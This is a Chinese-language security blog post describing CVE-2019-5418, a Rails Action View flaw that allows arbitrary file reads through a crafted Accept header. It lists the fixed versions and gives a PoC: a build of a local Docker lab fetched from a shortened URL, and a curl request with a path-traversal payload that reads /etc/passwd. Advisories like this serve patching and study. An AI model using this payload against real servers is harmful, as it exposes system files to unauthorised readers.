Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

CVE-2019-5418 File Content Disclosure in Action View (任意文件读取) Ruby on Rails

wpadmin~March 19, 2019 /InfoSec

CVE-2019-5418 File Content Disclosure in Action View (任意文件读取) Ruby on Rails

基本信息

漏洞描述:

Ruby on Rails 是一个WEB应用开发框架。通过构造Accept请求头与 render file:的调用相结合,可以导致目标服务器上的任意文件被渲染,造成文件内容泄漏。影响仅限于调用 render 来呈现文件内容而没有指定接受格式。

修复版本:

Rails 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1

漏洞危害:

远程攻击者可以通过精心构造的 HTTP 请求,通过伪造请求头 Accept ,来读取目标系统中的任意文件。

PoC

Ruby on Rails CVE-2019-5418 tweet-PoC

# 搭建靶场
curl -sL goo.gl/NFR6fJ > /tmp/NFR6fJ; 
docker build -f /tmp/NFR6fJ -t 2019-5418 .; 
docker run -d --name 2019-5418 -p3000:3000 2019-5418; 
sleep 4; 

# PoC
curl -H 'Accept: ../../../../../../../../etc/passwd{{' 'http://localhost:3000/robots';

参考资料

rails forum
https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q

Ruby on Rails 路径穿越与任意文件读取漏洞分析 – 【CVE-2019-5418】
https://xz.aliyun.com/t/4448

漏洞预警:Ruby on Rails 任意文件读取漏洞 【网藤风险感知 公众号 2018/3/15】
link

Leave a Reply

Your email address will not be published. Required fields are marked *